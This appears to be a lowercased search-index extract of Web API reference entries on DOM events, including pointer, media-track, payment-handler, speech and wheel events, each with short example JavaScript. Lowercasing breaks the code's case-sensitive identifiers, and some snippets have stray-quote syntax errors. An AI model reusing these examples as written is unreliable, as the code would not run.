the onopen property of the eventsource interface is an eventhandler called when an open event is received, that is when the connection was just opened.
... syntax eventsource.onopen = function examples evtsource.onopen = function() { console.log("connection to server opened."); }; note: you can find a full example on github — see simple sse demo using php.
FileReader: error event - Web APIs
the error event is fired when the read failed due to an error (for example, because the file was not found or not readable).
... bubbles no cancelable no interface progressevent event handler property filereader.onerror examples const fileinput = document.queryselector('input[type="file"]'); const reader = new filereader(); function handleselected(e) { const selectedfile = fileinput.files[0]; if (selectedfile) { reader.addeventlistener('error', () => { console.error(`error occurred reading file: ${selectedfile.name}`); }); reader.addeventlistener('load', () => { console.error(`file: ${selectedfile.name} read successfully`); }); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); specifications specification status f...
FontFaceSetLoadEvent.fontfaces - Web APIs
the fontfaces read-only property of the fontfaceloadeventinit interface returns an array of fontface instances, each of which represents a single usable font.
... syntax var fontface[] = fontfacesetloadevent.fontfaces value an array of fontface instance.
GlobalEventHandlers.onabort - Web APIs
the onabort property of the globaleventhandlers mixin is the eventhandler for processing abort events sent to the window.
... while the standard for aborting a document load is defined, html issue #3525 suggests that browsers should not currently fire the abort event on a window that would trigger onabort to be called.
GlobalEventHandlers.onloadend - Web APIs
the onloadend property of the globaleventhandlers mixin is an eventhandler representing the code to be called when the loadend event is raised (when progress has stopped on the loading of a resource.) syntax img.onloadend = funcref; value funcref is the handler function to be called when the resource's loadend event fires.
... examples html content <img src="myimage.jpg"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); ...
GlobalEventHandlers.onloadstart - Web APIs
the onloadstart property of the globaleventhandlers mixin is an eventhandler representing the code to be called when the loadstart event is raised (when progress has begun on the loading of a resource.) syntax img.onloadstart = funcref; value funcref is the handler function to be called when the resource's loadstart event fires.
... examples html content <img src="myimage.jpg"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment html living standardthe definition of 'onloadstart' in that specification.
HTMLCanvasElement: webglcontextlost event - Web APIs
the webglcontextlost event of the webgl api is fired if the user agent detects that the drawing buffer associated with a webglrenderingcontext object has been lost.
... bubbles yes cancelable yes interface webglcontextevent event handler property none example with the help of the webgl_lose_context extension, you can simulate the webglcontextlost event: const canvas = document.getelementbyid('canvas'); const gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', (event) => { console.log(event); }); gl.getextension('webgl_lose_context').losecontext(); // "webglcontextlost" event is logged.
HTMLCanvasElement: webglcontextrestored event - Web APIs
the webglcontextrestored event of the webgl api is fired if the user agent restores the drawing buffer for a webglrenderingcontext object.
... bubbles yes cancelable yes interface webglcontextevent event handler property none example with the help of the webgl_lose_context extension, you can simulate the webglcontextrestored event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextrestored', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').restorecontext(); // "webglcontextrestored" event is logged.
HTMLElement: pointerenter event - Web APIs
the pointerenter event fires when a pointing device is moved into the hit test boundaries of an element or one of its descendants, including as a result of a pointerdown event from a device that does not support hover (see pointerdown).
... bubbles no cancelable no interface pointerevent event handler property onpointerenter examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerenter', (event) => { console.log('pointer entered element'); }); using the onpointerenter event handler property: const para = document.queryselector('p'); para.onpointerenter = (event) => { console.log('pointer entered element'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointerout event - Web APIs
the pointerout event is fired for several reasons including: pointing device is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (see pointercancel); when a pen stylus leaves the hover range detectable by the digitizer.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerout examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerout', (event) => { console.log('pointer moved out'); }); using the onpointerout event handler property: const para = document.queryselector('p'); para.onpointerout = (event) => { console.log('pointer moved out'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointerover event - Web APIs
the pointerover event is fired when a pointing device is moved into an element's hit test boundaries.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerover examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerover', (event) => { console.log('pointer moved in'); }); using the onpointerover event handler property: const para = document.queryselector('p'); para.onpointerover = (event) => { console.log('pointer moved in'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointerup event - Web APIs
the pointerup event is fired when a pointer is no longer active.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerup examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerup', (event) => { console.log('pointer up'); }); using the onpointerup event handler property: const para = document.queryselector('p'); para.onpointerup = (event) => { console.log('pointer up'); }; specifications specification status pointer events obsolete ...
HTMLMediaElement: abort event - Web APIs
the abort event is fired when the resource was not fully loaded, but not as the result of an error.
... bubbles no cancelable no interface event event handler property onabort examples const video = document.queryselector('video'); const videosrc = 'https://path/to/video.webm'; video.addeventlistener('abort', () => { console.log(`abort loading: ${videosrc}`); }); const source = document.createelement('source'); source.setattribute('src', videosrc); source.setattribute('type', 'video/webm'); video.appendchild(source); specifications specification status html living standard living standard html5 recommendation ...
HTMLMediaElement: error event - Web APIs
the error event is fired when the resource could not be loaded due to an error (for example, a network connectivity problem).
... bubbles no cancelable no interface event event handler property onerror examples const video = document.queryselector('video'); const videosrc = 'https://path/to/video.webm'; video.addeventlistener('error', () => { console.error(`error loading: ${videosrc}`); }); video.setattribute('src', videosrc); specifications specification status html living standard living standard html5 recommendation ...
IDBVersionChangeEvent.oldVersion - Web APIs
the oldversion read-only property of the idbversionchangeevent interface returns the old version number of the database.
... syntax var oldversion = idbversionchangeevent.oldversion value a 64-bit integer.
InputEvent.isComposing - Web APIs
the inputevent.iscomposing read-only property returns a boolean value indicating if the event is fired after compositionstart and before compositionend.
... syntax var bool = event.iscomposing; example var inputevent = new inputevent('syntheticinput', false); console.log(inputevent.iscomposing); // return false specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'inputevent.iscomposing' in that specification.
KeyboardEvent.ctrlKey - Web APIs
the keyboardevent.ctrlkey read-only property returns a boolean that indicates if the control key was pressed (true) or not (false) when the event occured.
... syntax var ctrlkeypressed = instanceofkeyboardevent.ctrlkey return value a boolean example <html> <head> <title>ctrlkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + e.key + "\n" + "ctrl key pressed: " + e.ctrlkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the ctrl key.<br /> you can also use the shift key together with the ctrl key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.ctrlkey' in that specification.
KeyboardEvent.repeat - Web APIs
the repeat read-only property of the keyboardevent interface returns a boolean that is true if the given key is being held down such that it is automatically repeating.
... syntax var repeat = event.repeat; return value boolean specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.repeat' in that specification.
KeyboardEvent.shiftKey - Web APIs
the keyboardevent.shiftkey read-only property is a boolean that indicates if the shift key was pressed (true) or not (false) when the event occurred.
... syntax var shiftkeypressed = instanceofkeyboardevent.shiftkey return value a boolean example <html> <head> <title>shiftkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "shift key pressed: " + e.shiftkey + "\n" + "alt key pressed: " + e.altkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the shift key.<br /> you can also use the shift key together with the alt key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.shiftkey' in that sp...
MediaKeyMessageEvent.messageType - Web APIs
the mediakeymessageevent.messagetype read-only property indicates the type of message.
... syntax var messagetype = mediakeymessageevent.messagetype; specifications specification status comment encrypted media extensionsthe definition of 'messagetype' in that specification.
MediaQueryListEvent.matches - Web APIs
the matches read-only property of the mediaquerylistevent interface is a boolean that returns true if the document currently matches the media query list, or false if not.
... syntax var matches = mediaquerylistevent.matches; value a boolean; returns true if the document currently matches the media query list, false if not.
MediaQueryListEvent.media - Web APIs
the media read-only property of the mediaquerylistevent interface is a domstring representing a serialized media query.
... syntax var media = mediaquerylistevent.media; value a domstring representing a serialized media query.
MediaStream: addtrack event - Web APIs
the addtrack event is fired when a new mediastreamtrack object has been added to a mediastream.
... bubbles no cancelable no interface mediastreamtrackevent event handler property onaddtrack examples using addeventlistener(): let stream = new mediastream(); stream.addeventlistener('addtrack', (event) => { console.log(`new ${event.track.kind} track added`); }); using the onaddtrack event handler property: let stream = new mediastream(); stream.onaddtrack = (event) => { console.log(`new ${event.track.kind} track added`); }; specifications specification status media capture and streamsthe definition of 'addtrack' in that specification.
MediaStream: removetrack event - Web APIs
the removetrack event is fired when a new mediastreamtrack object has been removed from a mediastream.
... bubbles no cancelable no interface mediastreamtrackevent event handler property onremovetrack examples using addeventlistener(): let stream = new mediastream(); stream.addeventlistener('removetrack', (event) => { console.log(`${event.track.kind} track removed`); }); using the onremovetrack event handler property: let stream = new mediastream(); stream.onremovetrack = (event) => { console.log(`${event.track.kind} track removed`); }; specifications specification status media capture and streamsthe definition of 'removetrack' in that specification.
MediaStreamEvent.stream - Web APIs
the read-only property mediastreamevent.stream returns the mediastream associated with the event.
... syntax var stream = event.stream; example pc.onaddstream = function( ev ) { alert("a stream (id: '" + ev.stream.id + "') has been added to this connection."); }; ...
MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN - Web APIs
mouseevent.webkit_force_at_force_mouse_down is a proprietary, webkit-specific, static numeric property whose value is the minimum force necessary for a force click.
... because webkit_force_at_force_mouse_down is a static property of mouseevent, you always use it as mouseevent.webkit_force_at_force_mouse_down, rather than as a property of a mouseevent instance.
MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN - Web APIs
mouseevent.webkit_force_at_mouse_down is a proprietary, webkit-specific, static numeric property whose value is the minimum force necessary for a normal click.
... because webkit_force_at_mouse_down is a static property of mouseevent, you always use it as mouseevent.webkit_force_at_mouse_down, rather than as a property of a mouseevent instance.
MouseEvent.x - Web APIs
WebAPIMouseEventx
the mouseevent.x property is an alias for the mouseevent.clientx property.
... specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent.x' in that specification.
MouseEvent.y - Web APIs
WebAPIMouseEventy
the mouseevent.y property is an alias for the mouseevent.clienty property.
... specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent.y' in that specification.
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
the renderedbuffer read-only property of the offlineaudiocompletionevent interface is an audiobuffer containing the result of processing an offlineaudiocontext.
... syntax var buffer = offlineaudiocompletioneventinstance.renderedbuffer; value an audiobuffer.
PageTransitionEvent.persisted - Web APIs
syntax window.addeventlistener('pageshow', function(event) { if (event.persisted) { console.log('page was loaded from cache.'); } }); value a boolean.
... specifications specification status comment html living standardthe definition of 'pagetransitionevent: persisted' in that specification.
PaymentRequestEvent() - Web APIs
the paymentrequestevent constructor creates a new paymentrequestevent object which is a constructor for a paymentrequestevent which is the object passed to a payment handler when a paymentrequest is made..
... syntax var paymentrequestevent = new paymentrequesteventy(type, options) parameters type must always be 'paymentrequest'.
PaymentRequestEvent.instrumentKey - Web APIs
the instrumentkey read-only property of the paymentrequestevent interface returns a paymentinstrument object reflecting the payment instrument selected by the user or an empty string if the user has not registered or chosen a payment instrument.
... syntax var instrumentkey = paymentrequestevent.instrumentkey value a paymentinstrument object.
PaymentRequestEvent.methodData - Web APIs
the methoddata read-only property of the paymentrequestevent interface returns an array of paymentmethoddata objects containing payment method identifers for the payment methods that the web site accepts and any associated payment method specific data.
... syntax var methoddata[] = paymentrequestevent.methoddata value an array of paymentmethoddata objects.
PaymentRequestEvent.modifiers - Web APIs
the modifiers read-only property of the paymentrequestevent interface returns an array of objects containing changes to payment details.
... syntax var modifiers[] = paymentdetailsevent.modifiers value an array of modifier objects.
PaymentRequestEvent.openWindow() - Web APIs
the openwindow property of the paymentrequestevent interface opens the specified url in a new window, if and only if the given url is on the same origin as the calling page.
... syntax var apromise = paymentrequestevent.openwindow(url) parameters url the url to open in the new window.
PaymentRequestEvent.paymentRequestOrigin - Web APIs
the paymentrequestorigin read-only property of the paymentrequestevent interface returns the origin where the paymentrequest object was initialized.
... syntax var ausvstring = paymentrequestevent.paymentrequestorigin value a usvstring.
PaymentRequestEvent.respondWith() - Web APIs
the respondwith property of the paymentrequestevent interface prevents the default event handling and allows you to provide a promise for a paymentresponse object yourself.
... syntax paymentrequestevent.respondwith( // promise that resolves with a paymentresponse.
PaymentRequestEvent.topOrigin - Web APIs
the toporigin read-only property of the paymentrequestevent interface returns the top level payee origin where the paymentrequest object was initialized.
... syntax var ausvstring = paymentrequestevent.toporigin value a usvstring specifications specification status comment payment handler apithe definition of 'toporigin' in that specification.
PaymentRequestEvent.total - Web APIs
the total readonly property of the paymentrequestevent interface returns a paymentcurrencyamount object containing the total amount being requested for payment.
... syntax var paymentcurrencyamount = paymentrequestevent.total value a paymentcurrencyamount object.
PerformanceTiming.domContentLoadedEventEnd - Web APIs
the legacy performancetiming.domcontentloadedeventend read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after all the scripts that need to be executed as soon as possible, in order or not, has been executed.
... syntax time = performancetiming.domcontentloadedeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.domcontentloadedeventend' in that specification.
PerformanceTiming.domContentLoadedEventStart - Web APIs
the legacy performancetiming.domcontentloadedeventstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, right before the parser sent the domcontentloaded event, that is right after all the scripts that need to be executed right after parsing has been executed.
... syntax time = performancetiming.domcontentloadedeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.domcontentloadedeventstart' in that specification.
PerformanceTiming.unloadEventEnd - Web APIs
the legacy performancetiming.unloadeventend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the unload event handler finishes.
... syntax time = performancetiming.unloadeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventend' in that specification.
PerformanceTiming.unloadEventStart - Web APIs
the legacy performancetiming.unloadeventstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the unload event has been thrown.
... syntax time = performancetiming.unloadeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventstart' in that specification.
ProgressEvent.total - Web APIs
the progressevent.total read-only property is an integer representing the total amount of work that the underlying process is in the progress of performing.
... syntax value = progressevent.total specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
SVGElement: unload event - Web APIs
the unload event is fired when the dom implementation removes an svg document from a window or frame.
... bubbles no cancelable no interface svgevent event handler property onunload examples svgelem.addeventlistener('unload', () => { console.log('svg unloaded.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'unload' in that specification.
SVGElement: zoom event - Web APIs
the zoom event occurs when the user initiates an action which causes the current view of the svg document fragment to be rescaled.
... bubbles yes cancelable no interface svgevent event handler property onzoom examples svgelem.addeventlistener('zoom', () => { console.log('svg zoomed.'); }) ...
SensorErrorEvent.error - Web APIs
the error read-only property of the sensorerrorevent interface returns the domexception object passed in the event's contructor.
... syntax var domexception = sensorerrorevent.error; value a domexception.
SpeechRecognition: audioend event - Web APIs
the audioend event of the web speech api is fired when the user agent has finished capturing audio for speech recognition.
... bubbles no cancelable no interface event event handler onaudioend examples you can use the audioend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audioend', function() { console.log('audio capturing ended'); }); or use the onaudioend event handler property: recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: audiostart event - Web APIs
the audiostart event of the web speech api is fired when the user agent has started to capture audio for speech recognition.
... bubbles no cancelable no interface event event handler onaudiostart examples you can use the audiostart event in an onaudiostart method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audiostart', function() { console.log('audio capturing started'); }); or use the onaudiostart event handler property: recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: end event - Web APIs
the end event of the web speech api speechrecognition object is fired when the speech recognition service has disconnected.
... bubbles no cancelable no interface event event handler property onend examples you can use the end event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('end', function() { console.log('speech recognition service disconnected'); }); or use the onend event handler property: recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: error event - Web APIs
the error event of the web speech api speechrecognition object is fired when a speech recognition error occurs.
... bubbles no cancelable no interface speechrecognitionerrorevent event handler property onerror examples you can use the error event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('error', function(event) { console.log('speech recognition error detected: ' + event.error'); }); or use the onerror event handler property: recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: nomatch event - Web APIs
the nomatch event of the web speech api is fired when the speech recognition service returns a final result with no significant recognition.
... bubbles no cancelable no interface speechrecognitionevent event handler property onnomatch examples you can use the nomatch event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('nomatch', function() { console.log('speech not recognized'); }); or use the onnomatch event handler property: recognition.onnomatch = function() { console.log('speech not recognized'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: result event - Web APIs
the result event of the web speech api is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app bubbles no cancelable no interface speechrecognitionevent event handler property onresult examples this code is excerpted from our speech color changer example.
... you can use the result event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('result', function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: soundend event - Web APIs
the soundend event of the web speech api is fired when any sound — recognisable speech or not — has stopped being detected.
... bubbles no cancelable no interface event event handler property onsoundend examples you can use the soundend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundend', function(event) { console.log('sound has stopped being received'); }); or use the onsoundend event handler property: recognition.onsoundend = function(event) { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: soundstart event - Web APIs
the soundstart event of the web speech api is fired when any sound — recognisable speech or not — has been detected.
... bubbles no cancelable no interface event event handler property onsoundstart examples you can use the soundstart event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundstart', function() { console.log('some sound is being received'); }); or use the onsoundstart event handler property: recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: speechend event - Web APIs
the speechend event of the web speech api is fired when speech recognized by the speech recognition service has stopped being detected.
... bubbles no cancelable no interface event event handler property onspeechend examples you can use the speechend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechend', function() { console.log('speech has stopped being detected'); }); or use the onspeechend event handler property: recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: speechstart event - Web APIs
the speechstart event of the web speech api is fired when sound recognized by the speech recognition service as speech has been detected.
... bubbles no cancelable no interface event event handler property onspeechstart examples you can use the speechstart event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechstart', function() { console.log('speech has been detected'); }); or use the onspeechstart event handler property: recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: start event - Web APIs
the start event of the web speech api speechrecognition object is fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition.
... bubbles no cancelable no interface event event handler property onstart examples you can use the start event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('start', function() { console.log('speech recognition service has started'); }); or use the onstart event handler property: recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechSynthesisUtterance: boundary event - Web APIs
the boundary event of the web speech api is fired when the spoken utterance reaches a word or sentence boundary.
... bubbles no cancelable no interface speechsynthesisevent event handler onboundary examples you can use the boundary event in an addeventlistener method: utterthis.addeventlistener('boundary', function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); }); or use the onboundary event handler property: utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: end event - Web APIs
the end event of the web speech api speechsynthesisutterance object is fired when the utterance has finished being spoken.
... bubbles no cancelable no interface speechsynthesisevent event handler property onend examples you can use the end event in an addeventlistener method: utterthis.addeventlistener('end', function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); }); or use the onend event handler property: utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: error event - Web APIs
the error event of the web speech api speechsynthesisutterance object is fired when an error occurs that prevents the utterance from being succesfully spoken.
... bubbles no cancelable no interface speechsynthesiserrorevent event handler property onerror examples you can use the error event in an addeventlistener method: utterthis.addeventlistener('error', function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); }); or use the onerror event handler property: utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: mark event - Web APIs
the mark event of the web speech api speechsynthesisutterance object is fired when the spoken utterance reaches a named ssml "mark" tag.
... bubbles no cancelable no interface speechsynthesisevent event handler property onmark examples you can use the mark event in an addeventlistener method: utterthis.addeventlistener('mark', function(event) { console.log('a mark was reached: ' + event.name); }); or use the onmark event handler property: utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: pause event - Web APIs
the pause event of the web speech api speechsynthesisutterance object is fired when the utterance is paused part way through.
... bubbles no cancelable no interface speechsynthesisevent event handler property onpause examples you can use the pause event in an addeventlistener method: utterthis.addeventlistener('pause', function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); }); or use the onpause event handler property: utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: resume event - Web APIs
the resume event of the web speech api speechsynthesisutterance object is fired when a paused utterance is resumed.
... bubbles no cancelable no interface speechsynthesisevent event handler property onresume examples you can use the resume event in an addeventlistener method: utterthis.addeventlistener('resume', function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); }); or use the onresume event handler property: utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: start event - Web APIs
the start event of the web speech api speechsynthesisutterance object is fired when the utterance has begun to be spoken.
... bubbles no cancelable no interface speechsynthesisevent event handler property onstart examples you can use the start event in an addeventlistener method: utterthis.addeventlistener('start', function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); }); or use the onstart event handler property: utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
TextTrackList: addtrack event - Web APIs
the addtrack event is fired when a track is added to a texttracklist.
... bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.addeventlistener('addtrack', (event) => { console.log(`text track: ${event.track.label} added`); }); using the onaddtrack event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onaddtrack = (event) => { console.log(`text track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
TextTrackList: change event - Web APIs
the change event is fired when a text track is made active or inactive, or a texttracklist is otherwise changed.
... bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const mediaelement = document.queryselectorall('video, audio')[0]; mediaelement.texttracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); using the onchange event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onchange = (event) => { console.log(`'${event.type}' event fired`); }; specifications specification status html living standardthe definition of 'change' in that specification.
TextTrackList: removeTrack event - Web APIs
the removetrack event is fired when a track is removed from a texttracklist.
... bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.addeventlistener('removetrack', (event) => { console.log(`text track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onremovetrack = (event) => { console.log(`text track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
TransitionEvent.transitionName - Web APIs
the transitionevent.transitionname read-only property is a domstring containing the name of the css property associated with the transition.
... syntax name = transitionevent.transitionname specifications specification status comment css transitionsthe definition of 'transitionevent.transitionname' in that specification.
TransitionEvent.elapsedTime - Web APIs
the transitionevent.elapsedtime read-only property is a float giving the amount of time the animation has been running, in seconds, when this event fired.
... syntax name = transitionevent.elapsedtime specifications specification status comment css transitionsthe definition of 'transitionevent.elapsedtime' in that specification.
TransitionEvent.pseudoElement - Web APIs
the transitionevent.pseudoelement read-only property is a domstring, starting with '::', containing the name of the pseudo-element the animation runs on.
... syntax name = transitionevent.pseudoelement specifications specification status comment css transitionsthe definition of 'transitionevent.pseudoelement' in that specification.
UserProximityEvent - Web APIs
the userproximityevent indicates whether a nearby physical object is present by using the proximity sensor of a device.
... properties userproximityevent.near indicates if the device has sensed a nearby physical object.
VideoTrackList: addtrack event - Web APIs
the addtrack event is fired when a track is added to a videotracklist.
... bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('addtrack', (event) => { console.log(`video track: ${event.track.label} added`); }); using the onaddtrack event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onaddtrack = (event) => { console.log(`video track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
VideoTrackList: removetrack event - Web APIs
the removetrack event is fired when a track is removed from a videotracklist.
... bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('removetrack', (event) => { console.log(`video track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onremovetrack = (event) => { console.log(`video track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
WebSocket: error event - Web APIs
the error event is fired when a connection with a websocket has been closed due to an error (some data couldn't be sent for example).
... bubbles no cancelable no interface event event handler property onerror examples // create websocket connection const socket = new websocket('ws://localhost:8080'); // listen for possible errors socket.addeventlistener('error', function (event) { console.log('websocket error: ', event); }); specifications specification status html living standardthe definition of 'websocket error' in that specification.
WheelEvent.deltaMode - Web APIs
the wheelevent.deltamode read-only property returns an unsigned long representing the unit of the delta values scroll amount.
... syntax var unit = event.deltamode; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltamode); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltamode' in that specification.
WheelEvent.deltaX - Web APIs
WebAPIWheelEventdeltaX
the wheelevent.deltax read-only property is a double representing the horizontal scroll amount in the wheelevent.deltamode unit.
... syntax var dx = event.deltax; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltax); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltax' in that specification.
WheelEvent.deltaY - Web APIs
WebAPIWheelEventdeltaY
the wheelevent.deltay read-only property is a double representing the vertical scroll amount in the wheelevent.deltamode unit.
... syntax var dy = event.deltay; example var syntheticevent = new wheelevent("syntheticwheel", {"deltay": 4, "deltamode": 0}); console.log(syntheticevent.deltay); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltay' in that specification.
WheelEvent.deltaZ - Web APIs
WebAPIWheelEventdeltaZ
the wheelevent.deltaz read-only property is a double representing the scroll amount along the z-axis, in the wheelevent.deltamode unit.
... syntax var dz = event.deltaz; example var syntheticevent = new wheelevent("syntheticwheel", {"deltaz": 4, "deltamode": 0}); console.log(syntheticevent.deltaz); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltaz' in that specification.
